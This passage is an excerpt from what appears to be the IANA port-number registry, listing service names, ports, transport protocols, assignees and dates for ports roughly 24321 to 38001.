ild 24321 tcp Isolv Local Directory [Mitchell_Bass] [Mitchell_Bass] 2005-08
ild 24321 udp Isolv Local Directory [Mitchell_Bass] [Mitchell_Bass] 2005-08
hid 24322 udp Transport of Human Interface [Freebox_SAS] [Nicolas_Pouillon] 2012-12-14
Device data streams
24322 tcp Reserved
vrmg-ip 24323 tcp Verimag mobile class [Verimag_OOO] [Denis_Ionov] 2018-08-15
protocol over TCP
24323 udp Reserved
24324-24385 Unassigned
Intel RCI
intel-rci 24386 tcp IANA assigned this [Mark_Lewis_2] [Mark_Lewis_2]
well-formed service name as
a replacement for
"intel_rci".
This entry is an alias to "intel-rci". This entry is now
intel_rci 24386 tcp Intel RCI [Mark_Lewis_2] [Mark_Lewis_2] historic, not usable for use with many common service
discovery mechanisms.
Intel RCI
intel-rci 24386 udp IANA assigned this [Mark_Lewis_2] [Mark_Lewis_2]
well-formed service name as
a replacement for
"intel_rci".
This entry is an alias to "intel-rci". This entry is now
intel_rci 24386 udp Intel RCI [Mark_Lewis_2] [Mark_Lewis_2] historic, not usable for use with many common service
discovery mechanisms.
24387-24464 Unassigned
tonidods 24465 tcp Tonido Domain Server [Madhan_Kanagavel] [Madhan_Kanagavel] 2008-07-18
tonidods 24465 udp Tonido Domain Server [Madhan_Kanagavel] [Madhan_Kanagavel] 2008-07-18
24466-24553 Unassigned
binkp 24554 tcp BINKP [Max_Masyutin] [Max_Masyutin]
binkp 24554 udp BINKP [Max_Masyutin] [Max_Masyutin]
24555-24576 Unassigned
bilobit 24577 tcp bilobit Service [bilobit_GmbH] [Martin_Schmuker] 2014-08-15
bilobit-update 24577 udp bilobit Service Update [bilobit_GmbH] [Martin_Schmuker] 2014-08-15
24578-24665 Unassigned
Service used by SmarDTV to
sdtvwcam 24666 tcp communicate between a CAM [SmarDTV] [Vincent_Demortier] 2015-03-04
and a second screen
application
24666 udp Reserved
24667-24675 Unassigned
canditv 24676 tcp Canditv Message Service [Gary_Aston] [Gary_Aston] 2009-03-10
canditv 24676 udp Canditv Message Service [Gary_Aston] [Gary_Aston] 2009-03-10
flashfiler 24677 tcp FlashFiler [Ben_Oram] [Ben_Oram]
flashfiler 24677 udp FlashFiler [Ben_Oram] [Ben_Oram]
proactivate 24678 tcp Turbopower Proactivate [Ben_Oram] [Ben_Oram]
proactivate 24678 udp Turbopower Proactivate [Ben_Oram] [Ben_Oram]
24679 Unassigned
tcc-http 24680 tcp TCC User HTTP Service [Brian_Kennedy] [Brian_Kennedy] 2006-08
tcc-http 24680 udp TCC User HTTP Service [Brian_Kennedy] [Brian_Kennedy] 2006-08
24681-24753 Unassigned
cslg 24754 tcp Citrix StorageLink Gateway [Mark_Nijmeijer] [Mark_Nijmeijer] 2009-04-17
24754 udp Reserved
24755-24849 Unassigned
24850 tcp Reserved
assoc-disc 24850 udp Device Association Discovery [Microsoft_Corporation_3] [Sachin_Sheth] 2012-06-27
24851-24921 Unassigned
find 24922 tcp Find Identification of [Jean_Paul_Moreaux] [Jean_Paul_Moreaux]
Network Devices
find 24922 udp Find Identification of [Jean_Paul_Moreaux] [Jean_Paul_Moreaux]
Network Devices
24923-24999 Unassigned
icl-twobase1 25000 tcp icl-twobase1 [J_A_Sever] [J_A_Sever]
icl-twobase1 25000 udp icl-twobase1 [J_A_Sever] [J_A_Sever]
icl-twobase2 25001 tcp icl-twobase2 [J_A_Sever] [J_A_Sever]
icl-twobase2 25001 udp icl-twobase2 [J_A_Sever] [J_A_Sever]
icl-twobase3 25002 tcp icl-twobase3 [J_A_Sever] [J_A_Sever]
icl-twobase3 25002 udp icl-twobase3 [J_A_Sever] [J_A_Sever]
icl-twobase4 25003 tcp icl-twobase4 [J_A_Sever] [J_A_Sever]
icl-twobase4 25003 udp icl-twobase4 [J_A_Sever] [J_A_Sever]
icl-twobase5 25004 tcp icl-twobase5 [J_A_Sever] [J_A_Sever]
icl-twobase5 25004 udp icl-twobase5 [J_A_Sever] [J_A_Sever]
icl-twobase6 25005 tcp icl-twobase6 [J_A_Sever] [J_A_Sever]
icl-twobase6 25005 udp icl-twobase6 [J_A_Sever] [J_A_Sever]
icl-twobase7 25006 tcp icl-twobase7 [J_A_Sever] [J_A_Sever]
icl-twobase7 25006 udp icl-twobase7 [J_A_Sever] [J_A_Sever]
icl-twobase8 25007 tcp icl-twobase8 [J_A_Sever] [J_A_Sever]
icl-twobase8 25007 udp icl-twobase8 [J_A_Sever] [J_A_Sever]
icl-twobase9 25008 tcp icl-twobase9 [J_A_Sever] [J_A_Sever]
icl-twobase9 25008 udp icl-twobase9 [J_A_Sever] [J_A_Sever]
icl-twobase10 25009 tcp icl-twobase10 [J_A_Sever] [J_A_Sever]
icl-twobase10 25009 udp icl-twobase10 [J_A_Sever] [J_A_Sever]
25010-25470 Unassigned
rna 25471 sctp RNSAP User Adaptation for [Dario_S_Tonesi] [Dario_S_Tonesi] 2011-02-07
Iurh
25472-25575 Unassigned
sauterdongle 25576 tcp Sauter Dongle [Christian_Brecht] [Christian_Brecht] 2010-12-15
25576 udp Reserved
25577-25603 Unassigned
idtp 25604 tcp Identifier Tracing Protocol [Huang_Neng-geng] [Huang_Neng-geng] 2011-08-09
25604 udp Reserved
25605-25792 Unassigned
vocaltec-hos 25793 tcp Vocaltec Address Server [Scott_Petrack] [Scott_Petrack]
vocaltec-hos 25793 udp Vocaltec Address Server [Scott_Petrack] [Scott_Petrack]
25794-25899 Unassigned
tasp-net 25900 tcp TASP Network Comm [Martin_Ellis] [Martin_Ellis] 2004-11
tasp-net 25900 udp TASP Network Comm [Martin_Ellis] [Martin_Ellis] 2004-11
niobserver 25901 tcp NIObserver [Roman_Oliynyk] [Roman_Oliynyk]
niobserver 25901 udp NIObserver [Roman_Oliynyk] [Roman_Oliynyk]
nilinkanalyst 25902 tcp NILinkAnalyst [Roman_Oliynyk_2] [Roman_Oliynyk_2] 2007-08-30
nilinkanalyst 25902 udp NILinkAnalyst [Roman_Oliynyk_2] [Roman_Oliynyk_2] 2007-08-30
niprobe 25903 tcp NIProbe [Roman_Oliynyk] [Roman_Oliynyk]
niprobe 25903 udp NIProbe [Roman_Oliynyk] [Roman_Oliynyk]
25904-25953 Unassigned
bf-game 25954 udp Bitfighter game server [Christopher_Eykamp] [Christopher_Eykamp] 2012-08-16
25954 tcp Reserved
bf-master 25955 udp Bitfighter master server [Christopher_Eykamp] [Christopher_Eykamp] 2012-08-16
25955 tcp Reserved
25956-25999 Unassigned
quake 26000 tcp quake [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
quake 26000 udp quake [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
26001-26132 Unassigned
Symbolic Computation
scscp 26133 tcp Software Composability [Alexander_Konovalov] [Alexander_Konovalov] 2007-11-27
Protocol
Symbolic Computation
scscp 26133 udp Software Composability [Alexander_Konovalov] [Alexander_Konovalov] 2007-11-27
Protocol
26134-26207 Unassigned
wnn6-ds 26208 tcp wnn6-ds [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
wnn6-ds 26208 udp wnn6-ds [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
26209-26256 Unassigned
cockroach 26257 tcp CockroachDB [Cockroach_Labs_Inc] [Ben_Darnell] 2015-09-29
26257 udp Reserved
26258-26259 Unassigned
ezproxy 26260 tcp eZproxy [Albert_C_Yang] [Albert_C_Yang]
ezproxy 26260 udp eZproxy [Albert_C_Yang] [Albert_C_Yang]
ezmeeting 26261 tcp eZmeeting [Albert_C_Yang] [Albert_C_Yang]
ezmeeting 26261 udp eZmeeting [Albert_C_Yang] [Albert_C_Yang]
k3software-svr 26262 tcp K3 Software-Server [Jim_Baldridge] [Jim_Baldridge]
k3software-svr 26262 udp K3 Software-Server [Jim_Baldridge] [Jim_Baldridge]
k3software-cli 26263 tcp K3 Software-Client [Jim_Baldridge] [Jim_Baldridge]
k3software-cli 26263 udp K3 Software-Client [Jim_Baldridge] [Jim_Baldridge]
26264 De-registered 2006-04-06
26265-26485 Unassigned
exoline-tcp 26486 tcp EXOline-TCP [AB_Regin] [Simon_Jonsson] 2008-12-24 2018-09-13
exoline-udp 26486 udp EXOline-UDP [AB_Regin] [Simon_Jonsson] 2008-12-24 2018-09-13
exoconfig 26487 tcp EXOconfig [Urban_Fosseus] [Urban_Fosseus] 2008-12-24
exoconfig 26487 udp EXOconfig [Urban_Fosseus] [Urban_Fosseus] 2008-12-24
26488 Unassigned
exonet 26489 tcp EXOnet [Urban_Fosseus] [Urban_Fosseus] 2008-12-24
exonet 26489 udp EXOnet [Urban_Fosseus] [Urban_Fosseus] 2008-12-24
26490-26999 Unassigned
flex-lm 27000-27009 FLEX LM (1-10) [Flexera_Software] [Paul_Bland] 2018-02-15
flex-lmadmin 27010 tcp A protocol for managing [Flexera] [Paul_Bland] 2018-08-22
license services
27010 udp Reserved
Unauthorized
Use Known on
27011-27344 Unassigned ports 27017,
27018 and
27019
imagepump 27345 tcp ImagePump [Richard_Minner] [Richard_Minner]
imagepump 27345 udp ImagePump [Richard_Minner] [Richard_Minner]
27346-27441 Unassigned
jesmsjc 27442 tcp Job controller service [Chris_Newman] [Chris_Newman] 2010-10-15
jesmsjc 27442 udp Job controller service [Chris_Newman] [Chris_Newman] 2010-10-15
27443-27503 Unassigned
kopek-httphead 27504 tcp Kopek HTTP Head Port [Sten_H_Danielsen] [Sten_H_Danielsen] 2002-07
kopek-httphead 27504 udp Kopek HTTP Head Port [Sten_H_Danielsen] [Sten_H_Danielsen] 2002-07
27505-27781 Unassigned
ars-vista 27782 tcp ARS VISTA Application [Spencer_Teran_2] [Spencer_Teran_2] 2004-11
ars-vista 27782 udp ARS VISTA Application [Spencer_Teran_2] [Spencer_Teran_2] 2004-11
27783-27875 Unassigned
astrolink 27876 tcp Astrolink Protocol [Alanax_Technologies_Inc] [Wesley_Eddy] 2013-01-14
27876 udp Reserved
27877-27998 Unassigned
tw-auth-key 27999 tcp TW Authentication/Key [Alex_Duncan_2] [Alex_Duncan_2]
Distribution and
tw-auth-key 27999 udp Attribute Certificate [Alex_Duncan_2] [Alex_Duncan_2]
Services
Unauthorized
nxlmd 28000 tcp NX License Manager [Anthony_Greatorex] [Anthony_Greatorex] 2004-11 Use Known on
port 28000
nxlmd 28000 udp NX License Manager [Anthony_Greatorex] [Anthony_Greatorex] 2004-11
pqsp 28001 tcp PQ Service [Peter_Laschtowitz] [Peter_Laschtowitz] 2009-09-15
28001 udp Reserved
Unauthorized
Use Known on
28002-28118 Unassigned ports 28017,
28018 and
28019
28119 tcp Reserved
a27-ran-ran 28119 udp A27 cdma2000 RAN Management [ThreeGPP_2] [Zhiming_Li] 2012-04-13
28120-28199 Unassigned
voxelstorm 28200 tcp VoxelStorm game server [VoxelStorm] [Eugene_Hopkinson] 2012-11-08
voxelstorm 28200 udp VoxelStorm game server [VoxelStorm] [Eugene_Hopkinson] 2012-11-08
28201-28239 Unassigned
siemensgsm 28240 tcp Siemens GSM [David_Anuszewski] [David_Anuszewski] 2004-11
siemensgsm 28240 udp Siemens GSM [David_Anuszewski] [David_Anuszewski] 2004-11
28241-28588 Unassigned
Building operating system
bosswave 28589 tcp services wide area verified [University_of_California_Berkeley] [Michael_Andersen] 2016-06-13
exchange
28589 udp Reserved
28590-29117 Unassigned
29118 tcp Reserved
29118 udp Reserved
sgsap 29118 sctp SGsAP in 3GPP [GPP_Specifications] [GPP_Specifications] 2009-06-11
29119-29166 Unassigned
otmp 29167 tcp ObTools Message Protocol [Paul_Clark] [Paul_Clark] 2006-02
otmp 29167 udp ObTools Message Protocol [Paul_Clark] [Paul_Clark] 2006-02
29168 tcp Reserved
29168 udp Reserved
sbcap 29168 sctp SBcAP in 3GPP [GPP_Specifications] [GPP_Specifications] 2009-06-11
iuhsctpassoc 29169 sctp HNBAP and RUA Common [John_Meredith] [John_Meredith] 2009-09-08
Association
29170-29998 Unassigned
data exchange protocol for
bingbang 29999 tcp IEC61850 in wind power [DEIF_AS] [Armin_Solies] 2012-10-15
plants
29999 udp Reserved
ndmps 30000 tcp Secure Network Data [Alioune_Thiam] [Alioune_Thiam] 2013-02-05
Management Protocol
30000 udp Reserved
pago-services1 30001 tcp Pago Services 1 [Balduin_Mueller_Plat] [Balduin_Mueller_Plat] 2002-03
pago-services1 30001 udp Pago Services 1 [Balduin_Mueller_Plat] [Balduin_Mueller_Plat] 2002-03
pago-services2 30002 tcp Pago Services 2 [Balduin_Mueller_Plat] [Balduin_Mueller_Plat] 2002-03
pago-services2 30002 udp Pago Services 2 [Balduin_Mueller_Plat] [Balduin_Mueller_Plat] 2002-03
amicon-fpsu-ra 30003 tcp Amicon FPSU-IP Remote [Amicon_OOO] [Alexey_Novotorzhin] 2013-04-25
Administration
amicon-fpsu-ra 30003 udp Amicon FPSU-IP Remote [Amicon_OOO] [Alexey_Novotorzhin] 2013-04-25
Administration
amicon-fpsu-s 30004 udp Amicon FPSU-IP VPN [Amicon_OOO] [Alexey_Novotorzhin] 2013-04-25
30004 tcp Reserved
30005-30099 Unassigned
rwp 30100 tcp Remote Window Protocol [Maxim_Baklanovsky] [Maxim_Baklanovsky] 2015-05-20
30100 udp Reserved
rwp 30100 sctp Remote Window Protocol [Maxim_Baklanovsky] [Maxim_Baklanovsky] 2015-05-20
30101-30259 Unassigned
kingdomsonline 30260 tcp Kingdoms Online [Drake_Bankston] [Drake_Bankston] 2009-08-18
(CraigAvenue)
kingdomsonline 30260 udp Kingdoms Online [Drake_Bankston] [Drake_Bankston] 2009-08-18
(CraigAvenue)
30261-30399 Unassigned
gs-realtime 30400 tcp GroundStar RealTime System [INFORM_GmbH] [Detlef_Hilger] 2017-08-10 2017-12-13
30400 udp Reserved
30401-30831 Unassigned
samsung-disc 30832 udp Samsung Convergence [Samsung_2] [Young_Ki_Kim] 2013-05-29
Discovery Protocol
30832 tcp Reserved
30833-30998 Unassigned
ovobs 30999 tcp OpenView Service Desk Client [Service_Desk_Product] [Service_Desk_Product] 2006-05
ovobs 30999 udp OpenView Service Desk Client [Service_Desk_Product] [Service_Desk_Product] 2006-05
31000-31015 Unassigned
Kollective Agent Secure
ka-sddp 31016 tcp Distributed Delivery [Kollective_Technology_Inc] [John_Wainwright] 2016-12-11
Protocol
ka-kdp 31016 udp Kollective Agent Kollective [Kollective_Technology_Inc] [John_Wainwright] 2016-12-11
Delivery Protocol
31017-31019 Unassigned
autotrac-acp 31020 tcp Autotrac ACP 245 [Roberto_Jorge_Dino] [Roberto_Jorge_Dino]
31020 udp Reserved
31021-31028 Unassigned
31029 tcp Reserved
yawn 31029 udp YaWN - Yet Another Windows [David_Spivey] [David_Spivey] 2010-08-30
Notifier
31030-31399 Unassigned
pace-licensed 31400 tcp PACE license server [PACE_Anti-Piracy] [Allen_Cronce] 2014-04-28
31400 udp Reserved
31401-31415 Unassigned
xqosd 31416 tcp XQoS network monitor [Joe_Elliott] [Joe_Elliott] 2002-06
xqosd 31416 udp XQoS network monitor [Joe_Elliott] [Joe_Elliott] 2002-06
31417-31456 Unassigned
tetrinet 31457 tcp TetriNET Protocol [Emmanuel_Bourg] [Emmanuel_Bourg] 2004-11
tetrinet 31457 udp TetriNET Protocol [Emmanuel_Bourg] [Emmanuel_Bourg] 2004-11
31458-31619 Unassigned
lm-mon 31620 tcp lm mon [System_Administrator] [System_Administrator] 2003-06
lm-mon 31620 udp lm mon [System_Administrator] [System_Administrator] 2003-06
31621-31684 Unassigned
DS Expert Monitor
dsx-monitor 31685 tcp IANA assigned this [John_Lowery] [John_Lowery] 2008-08-21
well-formed service name as
a replacement for
"dsx_monitor".
This entry is an alias to "dsx-monitor". This entry is now
dsx_monitor 31685 tcp DS Expert Monitor [John_Lowery] [John_Lowery] 2008-08-21 historic, not usable for use with many common service
discovery mechanisms.
31685 udp Reserved
31686-31764 Unassigned
gamesmith-port 31765 tcp GameSmith Port [Randy_Thompson] [Randy_Thompson] 2002-08
gamesmith-port 31765 udp GameSmith Port [Randy_Thompson] [Randy_Thompson] 2002-08
31766-31947 Unassigned
Embedded Device
Configuration Protocol TX
iceedcp-tx 31948 tcp IANA assigned this [Oliver_Lewis] [Oliver_Lewis] 2006-08
well-formed service name as
a replacement for
"iceedcp_tx".
Embedded Device This entry is an alias to "iceedcp-tx". This entry is now
iceedcp_tx 31948 tcp Configuration Protocol TX [Oliver_Lewis] [Oliver_Lewis] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
Embedded Device
Configuration Protocol TX
iceedcp-tx 31948 udp IANA assigned this [Oliver_Lewis] [Oliver_Lewis] 2006-08
well-formed service name as
a replacement for
"iceedcp_tx".
Embedded Device This entry is an alias to "iceedcp-tx". This entry is now
iceedcp_tx 31948 udp Configuration Protocol TX [Oliver_Lewis] [Oliver_Lewis] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
Embedded Device
Configuration Protocol RX
iceedcp-rx 31949 tcp IANA assigned this [Oliver_Lewis] [Oliver_Lewis] 2006-08
well-formed service name as
a replacement for
"iceedcp_rx".
Embedded Device This entry is an alias to "iceedcp-rx". This entry is now
iceedcp_rx 31949 tcp Configuration Protocol RX [Oliver_Lewis] [Oliver_Lewis] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
Embedded Device
Configuration Protocol RX
iceedcp-rx 31949 udp IANA assigned this [Oliver_Lewis] [Oliver_Lewis] 2006-08
well-formed service name as
a replacement for
"iceedcp_rx".
Embedded Device This entry is an alias to "iceedcp-rx". This entry is now
iceedcp_rx 31949 udp Configuration Protocol RX [Oliver_Lewis] [Oliver_Lewis] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
31950-32033 Unassigned
iracinghelper 32034 tcp iRacing helper service [Randy_Cassidy] [Randy_Cassidy] 2007-08-30
iracinghelper 32034 udp iRacing helper service [Randy_Cassidy] [Randy_Cassidy] 2007-08-30
32035-32248 Unassigned
t1distproc60 32249 tcp T1 Distributed Processor [Peter_Beahan] [Peter_Beahan] 2004-11
t1distproc60 32249 udp T1 Distributed Processor [Peter_Beahan] [Peter_Beahan] 2004-11
32250-32399 Unassigned
plex 32400 tcp Plex multimedia [Plex_Inc.] [Sasha_Hilton] 2016-06-02
32400 udp Reserved
32401-32482 Unassigned
apm-link 32483 tcp Access Point Manager Link [Tony_Diodato] [Tony_Diodato] 2005-08
apm-link 32483 udp Access Point Manager Link [Tony_Diodato] [Tony_Diodato] 2005-08
32484-32634 Unassigned
sec-ntb-clnt 32635 tcp SecureNotebook-CLNT [Eric_Cantineau] [Eric_Cantineau] 2004-11
sec-ntb-clnt 32635 udp SecureNotebook-CLNT [Eric_Cantineau] [Eric_Cantineau] 2004-11
DMExpress 32636 tcp DMExpress [Arnie_Farrelly] [Arnie_Farrelly]
DMExpress 32636 udp DMExpress [Arnie_Farrelly] [Arnie_Farrelly]
32637-32766 Unassigned
filenet-powsrm 32767 tcp FileNet BPM [Chris_Adkins] [Chris_Adkins] 2006-08
WS-ReliableMessaging Client
filenet-powsrm 32767 udp FileNet BPM [Chris_Adkins] [Chris_Adkins] 2006-08
WS-ReliableMessaging Client
filenet-tms 32768 tcp Filenet TMS [Daniel_Whelan] [Daniel_Whelan]
filenet-tms 32768 udp Filenet TMS [Daniel_Whelan] [Daniel_Whelan]
filenet-rpc 32769 tcp Filenet RPC [Daniel_Whelan] [Daniel_Whelan]
filenet-rpc 32769 udp Filenet RPC [Daniel_Whelan] [Daniel_Whelan]
filenet-nch 32770 tcp Filenet NCH [Daniel_Whelan] [Daniel_Whelan]
filenet-nch 32770 udp Filenet NCH [Daniel_Whelan] [Daniel_Whelan]
filenet-rmi 32771 tcp FileNET RMI [Chris_Adkins] [Chris_Adkins]
filenet-rmi 32771 udp FileNet RMI [Chris_Adkins] [Chris_Adkins]
filenet-pa 32772 tcp FileNET Process Analyzer [Chris_Adkins] [Chris_Adkins] 2003-01
filenet-pa 32772 udp FileNET Process Analyzer [Chris_Adkins] [Chris_Adkins] 2003-01
filenet-cm 32773 tcp FileNET Component Manager [Chris_Adkins] [Chris_Adkins] 2003-08
filenet-cm 32773 udp FileNET Component Manager [Chris_Adkins] [Chris_Adkins] 2003-08
filenet-re 32774 tcp FileNET Rules Engine [Chris_Adkins] [Chris_Adkins] 2003-08
filenet-re 32774 udp FileNET Rules Engine [Chris_Adkins] [Chris_Adkins] 2003-08
filenet-pch 32775 tcp Performance Clearinghouse [Tim_Morgan_2] [Tim_Morgan_2] 2005-11
filenet-pch 32775 udp Performance Clearinghouse [Tim_Morgan_2] [Tim_Morgan_2] 2005-11
filenet-peior 32776 tcp FileNET BPM IOR [Chris_Adkins] [Chris_Adkins] 2006-05
filenet-peior 32776 udp FileNET BPM IOR [Chris_Adkins] [Chris_Adkins] 2006-05
filenet-obrok 32777 tcp FileNet BPM CORBA [Chris_Adkins] [Chris_Adkins] 2006-10
filenet-obrok 32777 udp FileNet BPM CORBA [Chris_Adkins] [Chris_Adkins] 2006-10
32778-32800 Unassigned
mlsn 32801 tcp Multiple Listing Service [Corey_Leong] [Corey_Leong] 2010-10-11
Network
mlsn 32801 udp Multiple Listing Service [Corey_Leong] [Corey_Leong] 2010-10-11
Network
32802-32810 Unassigned
retp 32811 tcp Real Estate Transport [Corey_Leong] [Corey_Leong] 2010-10-11
Protocol
32811 udp Reserved
32812-32895 Unassigned
idmgratm 32896 tcp Attachmate ID Manager [George_Gianelos_2] [George_Gianelos_2] 2003-03
idmgratm 32896 udp Attachmate ID Manager [George_Gianelos_2] [George_Gianelos_2] 2003-03
32897-33059 Unassigned
mysqlx 33060 tcp MySQL Database Extended [Oracle_8] [Omer_BarNir] 2015-08-06
Interface
33060 udp Reserved
33061-33122 Unassigned
aurora-balaena 33123 tcp Aurora (Balaena Ltd) [Andrew_Mather] [Andrew_Mather] 2008-02-14
aurora-balaena 33123 udp Aurora (Balaena Ltd) [Andrew_Mather] [Andrew_Mather] 2008-02-14
33124-33330 Unassigned
diamondport 33331 tcp DiamondCentral Interface [Edward_Browdy] [Edward_Browdy] 2002-07
diamondport 33331 udp DiamondCentral Interface [Edward_Browdy] [Edward_Browdy] 2002-07
33332 Unassigned
dgi-serv 33333 tcp Digital Gaslight Service [George_Flanagin] [George_Flanagin] 2010-03-02
33333 udp Reserved
speedtrace 33334 tcp SpeedTrace TraceAgent [Holger_Heinrich] [Holger_Heinrich] 2012-02-01
speedtrace-disc 33334 udp SpeedTrace TraceAgent [Holger_Heinrich] [Holger_Heinrich] 2012-02-01
Discovery
33335-33433 Unassigned
traceroute 33434 tcp traceroute use [IANA] [IANA]
traceroute 33434 udp traceroute use [IANA] [IANA]
33435 tcp Reserved
mtrace 33435 udp IP Multicast Traceroute [IESG] [IETF_Chair] 2017-12-13 2018-07-31 [RFC8487]
33436-33655 Unassigned
snip-slave 33656 tcp SNIP Slave [Dr_Chris_Tucker] [Dr_Chris_Tucker] 2005-08
snip-slave 33656 udp SNIP Slave [Dr_Chris_Tucker] [Dr_Chris_Tucker] 2005-08
33657-34248 Unassigned
turbonote-2 34249 tcp TurboNote Relay Server [Peter_Hyde] [Peter_Hyde]
Default Port
turbonote-2 34249 udp TurboNote Relay Server [Peter_Hyde] [Peter_Hyde]
Default Port
34250-34377 Unassigned
p-net-local 34378 tcp P-Net on IP local [Kurt_Nissen] [Kurt_Nissen] 2004-02
p-net-local 34378 udp P-Net on IP local [Kurt_Nissen] [Kurt_Nissen] 2004-02
p-net-remote 34379 tcp P-Net on IP remote [Kurt_Nissen] [Kurt_Nissen] 2004-02
p-net-remote 34379 udp P-Net on IP remote [Kurt_Nissen] [Kurt_Nissen] 2004-02
34380-34566 Unassigned
dhanalakshmi 34567 tcp dhanalakshmi.org EDI Service [Girish_Gopalakrishna] [Girish_Gopalakrishna] 2010-04-20
edi_service 34567 udp dhanalakshmi.org EDI Service [Girish_Gopalakrishna] [Girish_Gopalakrishna] 2016-10-26
34568-34961 Unassigned
profinet-rt 34962 tcp PROFInet RT Unicast [Peter_Wenzel] [Peter_Wenzel] 2004-11
profinet-rt 34962 udp PROFInet RT Unicast [Peter_Wenzel] [Peter_Wenzel] 2004-11
profinet-rtm 34963 tcp PROFInet RT Multicast [Peter_Wenzel] [Peter_Wenzel] 2004-11
profinet-rtm 34963 udp PROFInet RT Multicast [Peter_Wenzel] [Peter_Wenzel] 2004-11
profinet-cm 34964 tcp PROFInet Context Manager [Peter_Wenzel] [Peter_Wenzel] 2004-11
profinet-cm 34964 udp PROFInet Context Manager [Peter_Wenzel] [Peter_Wenzel] 2004-11
34965-34979 Unassigned
ethercat 34980 tcp EtherCAT Port [Martin_Rostan] [Martin_Rostan] 2003-11
ethercat 34980 udp EhterCAT Port [Martin_Rostan] [Martin_Rostan] 2003-11
34981-34999 Unassigned
heathview 35000 tcp HeathView [Heathwest_Systems_Limited] [Andrew_Porrer] 2013-03-21
35000 udp Reserved
rt-viewer 35001 tcp ReadyTech Viewer [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
rt-viewer 35001 udp ReadyTech Viewer [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
rt-sound 35002 tcp ReadyTech Sound Server [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
35002 udp Reserved
rt-devicemapper 35003 tcp ReadyTech DeviceMapper [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
Server
35003 udp Reserved
rt-classmanager 35004 tcp ReadyTech ClassManager [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
rt-classmanager 35004 udp ReadyTech ClassManager [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
rt-labtracker 35005 tcp ReadyTech LabTracker [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
35005 udp Reserved
rt-helper 35006 tcp ReadyTech Helper Service [ReadyTech_Corporation] [Kevin_Woodward] 2013-09-13
35006 udp Reserved
35007-35099 Unassigned
axio-disc 35100 tcp Axiomatic discovery protocol [Axiomatic_Technologies_Corporation] [Oleksandr_Bogush] 2016-12-09
axio-disc 35100 udp Axiomatic discovery protocol [Axiomatic_Technologies_Corporation] [Oleksandr_Bogush] 2016-12-09
35101-35353 Unassigned
kitim 35354 tcp KIT Messenger [Rudi_Visser] [Rudi_Visser] 2011-07-07
35354 udp Reserved
altova-lm 35355 tcp Altova License Management [Alexander_Falk_2] [Alexander_Falk_2] 2011-07-07
altova-lm-disc 35355 udp Altova License Management [Alexander_Falk_2] [Alexander_Falk_2] 2011-07-07
Discovery
guttersnex 35356 tcp Gutters Note Exchange [Squee_Application_Development] [Tristan_Seifert_2] 2011-07-19
35356 udp Reserved
openstack-id 35357 tcp OpenStack ID Service [Rackspace_Hosting] [Ziad_Sawalha] 2011-08-15
35357 udp Reserved
35358-36000 Unassigned
allpeers 36001 tcp AllPeers Network [Cedric_Maloux] [Cedric_Maloux] 2007-04
allpeers 36001 udp AllPeers Network [Cedric_Maloux] [Cedric_Maloux] 2007-04
36002-36410 Unassigned
wlcp 36411 udp Wireless LAN Control plane [ThreeGPP_3] [Frederic_Firmin] 2014-11-14
Protocol (WLCP)
36411 tcp Reserved
36412 tcp Reserved
36412 udp Reserved
s1-control 36412 sctp S1-Control Plane (3GPP) [Kimmo_Kymalainen] [Kimmo_Kymalainen] 2009-09-01
36413-36421 Unassigned
36422 tcp Reserved
36422 udp Reserved
x2-control 36422 sctp X2-Control Plane (3GPP) [Kimmo_Kymalainen] [Kimmo_Kymalainen] 2009-09-01
slmap 36423 sctp SLm Interface Application [ThreeGPP_4] [Kimmo_Kymalainen] 2015-06-18
Protocol
nq-ap 36424 sctp Nq and Nq' Application [ThreeGPP_4] [Kimmo_Kymalainen] 2015-06-18
Protocol
36425-36442 Unassigned
m2ap 36443 sctp M2 Application Part [Dario_S_Tonesi] [Dario_S_Tonesi] 2011-02-07
m3ap 36444 sctp M3 Application Part [Dario_S_Tonesi] [Dario_S_Tonesi] 2011-02-07
36445-36461 Unassigned
36462 tcp Reserved
36462 udp Reserved
xw-control 36462 sctp Xw-Control Plane (3GPP) [Boubacar_KIMNBA_DIT_ADAMOU] [Boubacar_KIMNBA_DIT_ADAMOU] 2015-11-13
36463-36523 Unassigned
febooti-aw 36524 tcp Febooti Automation Workshop [Maris_Bormanis] [Maris_Bormanis] 2011-06-10
36524 udp Reserved
36525-36601 Unassigned
observium-agent 36602 tcp Observium statistics [Observium] [Adam_Armstrong] 2013-05-10
collection agent
36602 udp Reserved
36603-36699 Unassigned
mapx 36700 tcp MapX communication [MicroTechniX] [Yarochkin_Michail] 2014-10-13
36700 udp Reserved
36701-36864 Unassigned
kastenxpipe 36865 tcp KastenX Pipe [Guy_Cheng] [Guy_Cheng]
kastenxpipe 36865 udp KastenX Pipe [Guy_Cheng] [Guy_Cheng]
36866-37474 Unassigned
neckar 37475 tcp science + computing's Venus [Ralf_Allrutz] [Ralf_Allrutz] 2002-02
Administration Port
neckar 37475 udp science + computing's Venus [Ralf_Allrutz] [Ralf_Allrutz] 2002-02
Administration Port
37476-37482 Unassigned
gdrive-sync 37483 tcp Google Drive Sync [Google_Inc] [Jason_Schiller] 2013-02-01 2015-07-31
37483 udp Reserved
37484-37600 Unassigned
eftp 37601 tcp Epipole File Transfer [Epipole_Limited] [Colin_Buchanan] 2014-11-13
Protocol
37601 udp Reserved
37602-37653 Unassigned
unisys-eportal 37654 tcp Unisys ClearPath ePortal [Sung_U_Ro] [Sung_U_Ro] 2006-01
unisys-eportal 37654 udp Unisys ClearPath ePortal [Sung_U_Ro] [Sung_U_Ro] 2006-01
37655-37999 Unassigned
ivs-database 38000 tcp InfoVista Server Database [InfoVista] [Sebastien_Bouchex_Bellomie] 2014-05-23
38000 udp Reserved
ivs-insertion 38001 tcp InfoVista Server Insertion [InfoVista] [Sebastien_Bouchex_Bellomie] 2014-05-23
